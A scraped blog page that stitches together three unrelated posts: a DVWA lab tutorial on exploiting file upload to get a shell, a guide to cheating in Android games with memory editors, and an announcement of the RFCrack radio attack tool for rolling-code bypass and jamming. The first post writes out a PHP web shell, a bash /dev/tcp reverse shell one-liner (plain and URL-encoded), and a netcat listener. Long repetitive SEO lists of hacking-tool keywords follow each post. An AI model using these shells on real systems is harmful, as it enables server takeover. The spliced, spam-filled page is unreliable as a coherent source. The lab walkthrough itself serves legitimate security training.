Saturday, June 3, 2023

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt 
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt 
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php phpinfo(); ?> 
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php 
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php system($_GET["cmd"]); ?> 
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami 
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0 
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1' 
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
Now start a listener on host with this command:
nc -lvnp 9999 
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999 
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Related word


How To Hack Any Game On Your Android Smartphone

How To Hack Any Game On Android 2018

How To Hack Any Game On Your Android Smartphone

By hacking android game you can unlock all the levels, use any resource according to your wish and lots more. Proceed with the method shown below to hack any game on your Android. But sometimes while playing our favorite game we get short on our resources that are needed to play that game, like power, weapons or lives etc. That consequence really becomes bothersome, so to overcome this we are here with the trick How To Hack Any Game On Android.

Today millions of character are using the android phone. Now an Android device enhances significant part of our life. Everyone loves to play games on their android device. There are lots of cool games that are today available on your Android device in Google Play Store.


How To Hack Any Game On Android 2018

Hack Any Game On Android
How To Hack Any Game On Your Android Smartphone
Now it's time to hack into the game and use any resources that you want to play at any level of the game. The method is really working and will let you alter the game according to your wish. Just proceed with simple steps below.

Steps To Hack Any Game On Android

Step 1. First of all after rooting your android device open the GameCIH App. It will ask you for superuser access, grant it.(This will only come if you have properly rooted your android device. Now on the home screen of this app, you will see Hot-Key option, select any of them which you feel more convenient while using in your android.
Hack Any Game On Android
How To Hack Any Game On Your Android Smartphone
Step 2. Now open the game that you want to hack into your android device. Now pause the game and access the hotkeys displaying there, select any value that you want to edit in your game. Like any of text value like keys of subway surfer game.
Hack Any Game On Android.2
How To Hack Any Game On Your Android Smartphone
Step 3. Enter your desired value in the text field box appeared there and click on done. Now you will see default value will get replaced with your value. Similarly, you can alter any values in any of the game according to your wish.
Hack Any Game On Android.3
How To Hack Any Game On Your Android Smartphone
That's it game hacking is done, Now you can access any resources using this hack.
So above is all about Hack Any Game On Android. With the help of this trick, you can alter any coins, lives, money, weapons power and lots more in any of your favorite android game and can enjoy the unlimited game resources according to your wish.

Using Game Guardian

Game Guardian Apk is one of the best apps which you can have on your Android smartphone. With the help of this app, you can easily get unlimited coins, gems and can perform all other hacks. However, Game Guardian Apk needs a rooted Android smartphone to work. Here's a simple guide that will help you.
Step 1. First of all, you need to download the latest version of Game Guardian on your Android smartphone from the given download link above or below.
Step 2. After downloading on your smartphone, you need to enable the Unknown Source on your device. For that, you need to visit Settings > Security > Unknown Sources
Using Game Guardian
Using Game Guardian
Step 3. Now install the app and then press the home button to minimize the app. Now open any game that you want to hack. You will see an overlay of Game Guardian App icon. Tap on it.
Step 4. Now you need to tap on the Search Button and set the value. If you don't know the values, then simply set it to auto.
Using Game Guardian
Using Game Guardian
Step 5. You need to search for the value which you want to hack like money, gem, health, score etc. You can change all those values. Suppose, if you need to decrease the number of values, you need to scan again for the new value.
Using Game Guardian
Using Game Guardian
Step 6. Finally, you need to select all the values and then change it to infinite numbers like '9999999' or whatever you want.
Using Game Guardian
Using Game Guardian
That's it, you are done! This is how you can use Game Guardian Apk to hack games on your Android smartphone.
With this, you can play a game at any levels without any shortage of any resource that can interrupt your gameplay. Hope you like this coolest android game hack. Don't forget to share it with others too.

Related word


  1. What Is Hacking Tools
  2. Pentest Tools Free
  3. Hacking Tools For Windows 7
  4. Hacking Tools And Software
  5. Hacking Tools Mac
  6. Pentest Tools Github
  7. Easy Hack Tools
  8. Tools 4 Hack
  9. Tools 4 Hack
  10. Hacking Tools Github
  11. Black Hat Hacker Tools
  12. Pentest Tools List
  13. Game Hacking
  14. Pentest Tools Linux
  15. Hack Tools For Windows
  16. What Are Hacking Tools
  17. Hacker
  18. Pentest Tools
  19. Hacking Tools 2019
  20. Hacking Tools Online
  21. Hacks And Tools
  22. Pentest Tools For Windows
  23. Hacking Tools Name
  24. Pentest Recon Tools
  25. Hacker Tools Windows
  26. Hack Tools 2019
  27. Best Pentesting Tools 2018
  28. Hacker Tools
  29. Pentest Tools Apk
  30. Ethical Hacker Tools
  31. Pentest Automation Tools
  32. Pentest Tools Url Fuzzer
  33. Hacking Tools For Mac
  34. Wifi Hacker Tools For Windows
  35. Github Hacking Tools
  36. Termux Hacking Tools 2019
  37. Tools 4 Hack
  38. Hacker Tools 2020
  39. Pentest Tools For Android
  40. Hacker Tool Kit
  41. Hacking Tools For Pc
  42. Hacker Search Tools
  43. Hacker Tools For Pc
  44. Pentest Tools Github
  45. Pentest Tools Review
  46. Bluetooth Hacking Tools Kali
  47. Pentest Tools Android
  48. Pentest Tools List
  49. Hacker Tools Mac
  50. Kik Hack Tools
  51. Pentest Tools Windows
  52. Blackhat Hacker Tools
  53. Hacking Tools For Mac
  54. Pentest Tools Subdomain
  55. Pentest Tools For Android
  56. Github Hacking Tools
  57. Pentest Tools Online
  58. Pentest Tools Kali Linux
  59. Wifi Hacker Tools For Windows
  60. Hacker Tools For Pc
  61. Best Hacking Tools 2019
  62. Hacker
  63. Hack Tools Download
  64. Nsa Hacker Tools
  65. Pentest Tools Website
  66. Pentest Box Tools Download
  67. Hacker Tools Windows
  68. Pentest Tools Subdomain
  69. Hacking Tools Usb
  70. Hacking Tools For Kali Linux
  71. Hacking Tools For Windows
  72. Hacker Tools Free Download
  73. Hacking Tools Github
  74. Hack And Tools
  75. How To Make Hacking Tools
  76. Pentest Tools Website Vulnerability
  77. Termux Hacking Tools 2019
  78. Pentest Reporting Tools
  79. Pentest Tools Tcp Port Scanner
  80. Wifi Hacker Tools For Windows
  81. Hacking Tools Windows 10
  82. Best Pentesting Tools 2018
  83. Growth Hacker Tools
  84. Hak5 Tools
  85. Usb Pentest Tools
  86. Easy Hack Tools
  87. Bluetooth Hacking Tools Kali
  88. Pentest Tools Review
  89. World No 1 Hacker Software
  90. Pentest Tools For Ubuntu
  91. Termux Hacking Tools 2019
  92. Wifi Hacker Tools For Windows

RFCrack Release - A Software Defined Radio Attack Tool

RFCrack uses the following hardware with RFCat libraries:
YardStick One: 
https://goo.gl/wd88sr

I decided to cleanup my RF testing harness and release it as a tool named RFCrack
Mostly because it has been pain to set up use-case scenarios from scratch for every device I am testing. Rather then release a tool no one knows how to use. The below video will be a quick but comprehensive tutorial to get you started If you've been following the blogs, this will greatly simplify your testing, in the following ways:
  • RFCrack handles all of your data conversions. 
  • It allows you to capture, replay and save payloads for use anytime 
  • It will handle rolling code bypass attacks on your devices. 
  • You can jam frequencies and fuzz specific values 
  • It will also allow you to scan specific frequencies in discovery mode or incrementally probe them 
  • RFCrack will hopefully have keyless entry & engine bypass support in the near future

This is the first release, everything works as intended but there will be plenty of updates as I continue to do research and find reasons to add features needed for testing. I am still making changes and making it more flexible with modifiable values and restructuring code.  If you have any legitimate use case scenarios or need a specific value to be modifiable, hit me up and I will do my best to update between research, if its a legitimate use case.

You can reach me at:
Twitter: @Ficti0n
http://cclabs.io , http://consolecowboys.com

GitHub Code for RFCrack:

https://github.com/cclabsInc/RFCrack

Full RF Hacking Course in Development:

Not all of the attacks in the tool have been covered in the RF hacking blog series and a few more are in research mode, as such, not yet added to the tool but will probably be covered in a full length online class on Hacking with RF which includes all targets and equipment.  Send an email to info(at)cclabs.io if your interested.



Walkthrough Training Video:




Until Next time: 

Cheers, and enjoy the tool for your personal use testing devices, feedback and bug reports are appreciated.  I have another RF blog coming out shortly based on my friends research into hacking garages/gates and creating keyfobs.  I will post when its ready. 
Related posts

  1. Hack Tools For Windows
  2. Hacking Tools Online
  3. Hack Tools Online
  4. Hacker Tools For Windows
  5. Hack Tools Mac
  6. Hacker Tools For Mac
  7. Hacking Tools 2020
  8. Pentest Tools Free
  9. Kik Hack Tools
  10. Hacking Tools
  11. Hacking Tools Windows
  12. Hacker Tools Apk Download
  13. Hacker
  14. Hacker Tool Kit
  15. Tools 4 Hack
  16. Game Hacking
  17. Termux Hacking Tools 2019
  18. Underground Hacker Sites
  19. Pentest Tools Find Subdomains
  20. Hacking Tools Mac
  21. Hacking Tools For Pc
  22. Pentest Tools Online
  23. How To Install Pentest Tools In Ubuntu
  24. Hacker Tools Mac
  25. Pentest Tools Kali Linux
  26. Hacks And Tools
  27. Hack Tools For Pc
  28. Hacker Tools Software
  29. Hacker Tool Kit
  30. Nsa Hack Tools Download
  31. Pentest Tools Apk
  32. Pentest Tools Bluekeep
  33. Hacker Tools Linux
  34. Hacks And Tools
  35. Best Hacking Tools 2019
  36. Pentest Tools Find Subdomains
  37. Hack Apps
  38. How To Make Hacking Tools
  39. Hacker Tools 2019
  40. Tools Used For Hacking
  41. Hacker
  42. Hacking Tools Usb
  43. Hacking Tools And Software
  44. Hacking Apps
  45. Pentest Box Tools Download
  46. Hacker Tools Free
  47. Hacker Tools Hardware
  48. Hak5 Tools
  49. Pentest Tools Windows
  50. Black Hat Hacker Tools
  51. Hack And Tools
  52. Github Hacking Tools
  53. Hacker Security Tools
  54. Nsa Hack Tools Download
  55. Blackhat Hacker Tools
  56. Pentest Box Tools Download
  57. Hacker Tools For Windows
  58. Hacker Tools Hardware
  59. Hack Website Online Tool
  60. Hacking Tools For Windows
  61. Pentest Tools Nmap
  62. Nsa Hacker Tools
  63. Pentest Tools Review
  64. Hacker Tools Free
  65. Growth Hacker Tools
  66. Hack And Tools
  67. Hacking Tools Usb
  68. Hacker Tools Apk Download
  69. Hacker Tools
  70. Nsa Hack Tools Download
  71. Hacking Tools Online
  72. Hacking Tools Windows 10
  73. Pentest Reporting Tools
  74. Nsa Hack Tools Download
  75. How To Hack
  76. Blackhat Hacker Tools
  77. Hacker Tools Free
  78. World No 1 Hacker Software
  79. Hacker Tools Software
  80. Hacking Tools Mac
  81. Hack Tool Apk
  82. Pentest Tools Find Subdomains
  83. How To Hack
  84. Kik Hack Tools
  85. Hack Tools Pc
  86. Termux Hacking Tools 2019
  87. Hack Tools Pc